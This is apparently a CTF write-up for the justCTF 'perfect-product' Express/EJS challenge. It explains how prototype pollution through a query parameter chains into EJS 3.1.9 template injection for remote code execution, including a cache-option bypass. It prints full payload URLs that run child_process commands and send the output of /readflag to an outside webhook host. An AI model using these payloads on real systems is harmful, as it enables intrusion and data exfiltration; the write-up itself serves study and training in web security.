./perfect-product/
βββ Dockerfile
βββ flag.txt
βββ src
βββ app.js
βββ package.json
βββ package-lock.json
βββ readflag
βββ readflag.c
βββ static
β βββ img
βββ views
βββ index.ejs
βββ product.ejs
There is a flag.txt file and binary of "readflag".
# Dockerfile
FROM debian:sid
ENV NODE_ENV "production"
RUN apt update && \
apt install -y curl && \
curl -sL https://deb.nodesource.com/setup_18.x | bash - && \
apt install -y nodejs
RUN groupadd -g 99999 justctf && \
useradd --uid 99999 --gid 99999 justctf && \
mkdir /home/justctf && \
chown justctf /home/justctf -R && \
chmod 755 /home/justctf -R
WORKDIR /home/justctf/
COPY src/ /home/justctf/
COPY flag.txt /flag
RUN mv readflag /readflag
RUN chown root:root /flag && chmod 700 /flag
RUN chown root:root /readflag && chmod 4755 /readflag
RUN npm install
USER justctf
EXPOSE 80
CMD [ "node", "app.js" ]
There is no qualification to read flag. The only way to get a flag is executing "readflag". We can guess this chall is related to RCE!
app.get('/', (req, res) => {
return res.render('index', {products});
});
app.post('/', (req, res) => {
const params = req.body;
if (typeof params.name !== 'string' ||
typeof params.description !== 'string' ||
typeof params.price !== 'string' ||
typeof params.tax !== 'string' ||
typeof params.country !== 'string' ||
typeof params.image !== 'string') {
res.send('Bad request.');
return;
}
products.push({name: params.name, description: params.description, price: params.price, tax: params.tax, country: params.country, image: params.image});
return res.render('index', {products});
});
Endpoint of "/" is quite simple. We can add product when we fill out the form and send POST request to "/". It seems no vulnerability in here.
[ Point 1 ]
app.all('/product', (req, res) => {
const params = req.query || {};
Object.assign(params, req.body || {});
let name = params.name
let strings = params.v;
if(!(strings instanceof Array) && !Array.isArray(strings)){
strings = ['NaN', 'NaN', 'NaN', 'NaN', 'NaN'];
}
// make _0 to point to all strings, copy to prevent reference.
strings.unshift(Array.from(strings));
const data = {};
for(const idx in strings){
data[`_${idx}`] = strings[idx];
}
if(typeof name !== 'string'){
name = `Product: NaN`;
}else{
name = `Product: ${name}`;
}
data['productname'] = name;
data['print'] = !!params.print;
res.render('product', data);
});
Endpoint of "/product" receive name and strings through "param.v" and make it into array. We didn't know about "instanceof" function. So I searched.
We could see "prototype" property in descrition. At here, I found this chall is about prototype pollution. There is no reason to use this function even if it is not required.
for(const idx in strings){
data[`_${idx}`] = strings[idx];
}
...
res.render('product', data);
};
The service receives values of string through parameter, and then insert them into data array. The point is that if we insert like below, then we can trigger prototype pollution! ( Becareful. It's "data[_${idx}__], not "data[__${idx}__]" ! )
Input : v[_proto__]=polluted!
=> Result : data[__proto__]=polluted!
Okay, but how can we trigger RCE in this service?
[ Point 2 ]
There is no prominent vulnerability but we have to trigger RCE. So I checked package.json ( Because EJS SSTI is very famous these days. )
// package.json
"dependencies": {
"bootstrap": "^5.3.0",
"ejs": "3.1.9",
"express": "4.17.2",
"morgan": "^1.10.0"
}
Well, I didn't find out a strange thing, at first. But there is one vulnerability, it's about ejs 3.1.9.
https://github.com/mde/ejs/issues/735
The reference use below payload.
http://127.0.0.1:3000/?name=John&settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('calc');
The only thing we have to is use this payload! But before use it, we use above payload with prototype pollution. So check the code again.
app.all('/product', (req, res) => {
const params = req.query || {};
Object.assign(params, req.body || {});
let name = params.name
let strings = params.v;
if(!(strings instanceof Array) && !Array.isArray(strings)){
strings = ['NaN', 'NaN', 'NaN', 'NaN', 'NaN'];
}
// make _0 to point to all strings, copy to prevent reference.
strings.unshift(Array.from(strings));
const data = {};
for(const idx in strings){
data[`_${idx}`] = strings[idx];
}
...
res.render('product', data);
});
Endpoint of "/product" receive parameter throught "param.v" and use "data" variable to render template.
<div class="modal-header border-bottom-0">
<h1 class="modal-title fs-5"><%= productname %></h1>
<% if(!print){ %>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
<% } %>
</div>
<div class="modal-body py-0">
<p><%- _1 %></p>
<p>
<strong>Price:</strong> <%= _2 %> (tax: <%= _3 %>)<br>
<strong>Country:</strong> <%= _4 %>
</p>
</div>
<% if(!print){ %>
<div class="modal-footer flex-column align-items-stretch w-100 gap-2 pb-3 border-top-0">
<a id="pmPrint" class="btn btn-lg btn-secondary" href="#" role="button">Print</a>
</div>
<% } %>
<% if(print){ %>
<script>window.print();</script>
<% } %>
This is "product.ejs". It needs 4 parameters to render template. So the point is we have to send 4 parameters at least, and then trigger EJS SSTI by using above payload.
Payload :
http://localhost/product?print=1&name=myname&v[length]=4&v[0]=0&v[1]=1&v[2]=2&v[3]=3&v[__proto__]&v[__proto__]&v[_proto__][client]=1&v[_proto__][settings][view%20options][escapeFunction]=JSON.stringify;process.mainModule.require(%22child_process%22).execSync(%22curl+https://webhook.site/a8a4b27a-008d-4757-8c8d-e07680e72e4f?`/readflag`%22)
But it didn't work! There is a more problem.
[ Point 3 ]
I couldn't solve the chall because of this point. This chall is a evil :(
We have to see a dockerfile carefully.
ENV NODE_ENV "production"
This chall is working on production environment, that sets "cache option" as true. "Cache option" only makes template once. It is executed in "handleCache" in ejs.js.
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
if (options.cache) {
if (!filename) {
throw new Error('cache option requires a filename');
}
func = exports.cache.get(filename);
if (func) {
return func;
}
if (!hasTemplate) {
template = fileLoader(filename).toString().replace(_BOM, '');
}
}
else if (!hasTemplate) {
// istanbul ignore if: should not happen at all
if (!filename) {
throw new Error('Internal EJS error: no file name or template '
+ 'provided');
}
template = fileLoader(filename).toString().replace(_BOM, '');
}
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
Many people who try to solve this chall access here, resulting in cache appears, resulting in subsequent payload can not be beaten.
So, we should add cache option to re-render the template. Just add this option!
PoC
/product?print=1&name=myname&v[__proto__]&v[__proto__]&v[length]=4&v[0]=0&v[1]=1&v[2]=2&v[3]=3&v[_proto__][client]=1&v[_proto__][settings][view+options][escapeFunction]=JSON.stringify;process.mainModule.require(%22child_process%22).execSync(%22curl+https://webhook.site/a8a4b27a-008d-4757-8c8d-e07680e72e4f?`/readflag`%22)&v[_proto__][cache]
Let me add some comments. Why do we define "v[__proto__]&v[__proto__]" even if there is no value? Because we must bypass below code.
if(!(strings instanceof Array) && !Array.isArray(strings)){
strings = ['NaN', 'NaN', 'NaN', 'NaN', 'NaN'];
}
Let's do some test. If we don't define "v[__proto__]", and just use "v[_proto__][~]=~", the service didn't recognize it as array.
Paylaod : /product?print=1&myname=a&v[length]=4&v[0]=0&v[1]=1&v[2]=2&v[3]=3&v[_proto__][client]=1&v[_proto__][settings][view+options][escapeFunction]=JSON.stringify;process.mainModule.require("child_process").execSync("curl+https://webhook.site/a8a4b27a-008d-4757-8c8d-e07680e72e4f?`/readflag`")&v[_proto__][cache]%27
Result :
Because the payload doesn't recognize as Array, the value of string array is NaN. But add "v[__proto__]&v[__proto__]", it works.
Payload : /product?print=1&name=myname&v[__proto__]&v[__proto__]&v[length]=4&v[0]=0&v[1]=1&v[2]=2&v[3]=3&v[_proto__][client]=1&v[_proto__][settings][view+options][escapeFunction]=JSON.stringify;process.mainModule.require("child_process").execSync("curl+https://webhook.site/a8a4b27a-008d-4757-8c8d-e07680e72e4f?`/readflag`")
Result :
Now, we can check my payload work!